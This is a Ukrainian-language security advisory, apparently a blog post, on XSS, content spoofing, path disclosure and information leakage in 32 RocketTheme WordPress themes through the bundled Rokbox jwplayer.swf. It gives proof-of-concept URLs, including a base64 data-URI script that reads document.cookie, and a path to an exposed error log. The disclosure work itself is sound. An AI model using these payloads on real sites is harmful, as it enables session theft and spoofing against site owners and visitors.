Раніше я вже писав про численні уразливості в численних темах для WordPress виробництва RocketTheme. Окрім тем Afterburner, Refraction, Solarsentinel, Mixxmag, Iridium, Infuse, Perihelion, Replicant2, Affinity, Nexus, Sentinel, Mynxx Vestnikp, Mynxx, Moxy, Terrantribune, Meridian є ще інші уразливі теми (шаблони).
Я написав про 16 їхніх тем (серед яких було два різновиди двох тем), а всього у них 47 тем для WordPress. З них лише три безкоштовні, а всі інші теми від RocketTheme є платними (потрібно купити підписку в “клуб”, щоб отримати до них доступ). І Rokbox постачається з усіма цими темами, окрім Grunge, які мають всі раніше згадані уразливості.
В цих 32 темах, як і попередніх 16 (14 тем + 2 різновиди), мають місце Cross-Site Scripting, Content Spoofing, Full path disclosure та Information Leakage уразливості. Про що вже повідомив розробникам цих тем. Це наступні шаблони від RocketTheme: Voxel, Diametric, Ionosphere, Clarion, Halcyon, Visage, Enigma, Momentum, Radiance, Camber, Reflex, Modulus, Nebulae, Entropy, Tachyon, Mercado, Maelstrom, Syndicate, Paradox, Hybrid, Omnicron, Zephyr, Panacea, Somaxiom, Juxta, Quantive, Crystalline, Kinetic, Dominion, Reaction, Akiraka, Novus. А також шаблон Grunge має FPD дірки.
Content Spoofing (WASC-12):
http://site/wordpress/wp-content/themes/rt_novus_wp/js/rokbox/jwplayer/jwplayer.swf?file=1.flv&backcolor=0xFFFFFF&screencolor=0xFFFFFF
http://site/wordpress/wp-content/themes/rt_novus_wp/js/rokbox/jwplayer/jwplayer.swf?file=1.flv&image=1.jpg
http://site/wordpress/wp-content/themes/rt_novus_wp/js/rokbox/jwplayer/jwplayer.swf?config=1.xml
http://site/wordpress/wp-content/themes/rt_novus_wp/js/rokbox/jwplayer/jwplayer.swf?abouttext=Player&aboutlink=http://site
XSS (WASC-08):
http://site/wordpress/wp-content/themes/rt_novus_wp/js/rokbox/jwplayer/jwplayer.swf?abouttext=Player&aboutlink=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ%2B
Full path disclosure (WASC-13):
У всіх цих темах є FPD в index.php (http://site/wordpress/wp-content/themes/rt_novus_wp/ і так само для інших тем), що спрацьовує при налаштуваннях PHP по замовчуванню. Також FPD потенційно є в інших php-файлах цих тем.
Information Leakage (WASC-13):
В деяких темах, подібно до rt_mixxmag_wp, може бути розміщений error log з FPD.
http://site/wordpress/wp-content/themes/rt_mixxmag_wp/js/rokbox/error_log
Уразливі всі версії всіх вищенаведених тем для WordPress.
.
